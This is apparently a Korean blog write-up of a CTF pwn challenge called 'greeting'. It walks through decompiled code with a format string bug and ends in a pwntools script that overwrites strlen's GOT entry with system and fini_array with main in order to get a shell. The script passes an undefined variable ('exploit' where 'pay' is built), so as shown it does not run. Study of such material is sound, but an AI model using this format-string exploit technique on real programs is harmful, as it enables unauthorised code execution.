ipwn
[etc] greeting 본문
떤 CTF인지는 잘 모르겠고 친구가 못풀겠다고 해서 한 번 풀어봤다.
(etc로 카테고리를 넘긴 건 그냥 뭔 ctf인지 몰라서이다.)
이번 문제는 greeting문제였는데, 그냥 fsb 문제였던 것 같다? 아마도
일단 바로 분석해보겠다.
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-84h] char v5; // [esp+5Ch] [ebp-44h] unsigned int v6; // [esp+9Ch] [ebp-4h]
v6 = __readgsdword(0x14u); printf("Please tell me your name... "); if ( !getnline(&v5, 0x40) ) return puts("Don't ignore me ;( "); sprintf(&s, "Nice to meet you, %s :)\n", &v5); return printf(&s); } |
메인 함수이다. 딱 봐도 fsb가 터진다는 걸 알 수 있다.
getnline함수를 보겠다.
size_t __cdecl getnline(char *s, int n) { char *v3; // [esp+1Ch] [ebp-Ch]
fgets(s, n, stdin); v3 = strchr(s, 10); if ( v3 ) *v3 = 0; return strlen(s); } |
그냥 입력을 받는 함수인데 우리는 strlen got를 조져서 system으로 돌릴 것이다.
왜냐면 strlen만이 인자가 1개이고 우리 마음대로 인자를 넣어줄 수 있기 때문에 그렇다.
근데 일단 printf는 strlen이 끝난 뒤에 실행되므로 main함수가 끝나고 뛰는 fini_array를 main함수의 시작으로 돌리면 main함수를 다시 실행시킬 수 있을 것이고, 그럼 strlen은 system으로 바뀌었으니 /bin/sh만 인자로 넘겨주면 끝이다.
일단 그 전에.. 재밌는 함수가 하나 있는데
int nao() { setbuf(stdin, 0); setbuf(stdout, 0); return system("echo \"Hello, I'm nao\"!"); } |
이런 함수가 있다.
즉 system함수를 구하려고 libc를 leak 안해도 된다 이말이다.
이제 한 번 제대로 익스해보자.
아니 근데 도저히 이해가 안가는게 main함수에서는 nao함수를 호출하지 않는다.
도대체 어디서 nao함수가 호출 된 것인지 이해할 수 없다. 아이다는 물론 gdb로 Analyzing 했을 때도 그 어디에도 nao함수는 호출되지 않았는데 왜 저 첫 부분엔 nao함수가 호출이 되었는지 이유를 모르겠다..... 뭐 암튼.. 익스에 큰 영향은 주지 않으니까.. 일단 익스하겠다.
사진을 보면 AAAAAAAA로 A라는 더미값 8개를 넘겨주고 %x로 계속 확인을 해봤는데
초록색 부분의 맨 앞의 절반부분 그러니까 저 4141202c 부분의 2byte뒷 부분부터 버퍼가 시작되는 걸 알 수 있다.
근데 이 부분은 우리가 어떻게 잘라서 구분을 할 수 없기 때문에 바로 뒤인 12번째의 서식문자부터 우리가 값을 넣어줄 수 있다.
이제 우리는 바로 익스 할 수 있다.
긴 설명은 필요 없을 것 같다.
from pwn import * p = process('./greeting') e = ELF('./greeting') system = 0x8048490 fini_array = 0x8049934 strlen = e.got['strlen'] main = 0x80485ed main_high = main / 0x10000 main_low = main % 0x10000 sys_low = system % 0x10000 log.info('strlen_got : ' + hex(strlen)) log.info('fini_array : ' + hex(fini_array)) log.info('main : ' + hex(main)) pay = 'AA' + p32(fini_array + 2) + p32(strlen + 2) + p32(strlen) + p32(fini_array) pay += '%' + str(main_high - 0x24) + 'x%12$n%13$n' pay += '%' + str(sys_low - main_high) + 'x%14$hn' pay += '%' + str(main_low - sys_low) + 'x%15$hn' p.sendline(exploit) for i in range(9): p.recv() p.sendline('/bin/sh') p.interactive() |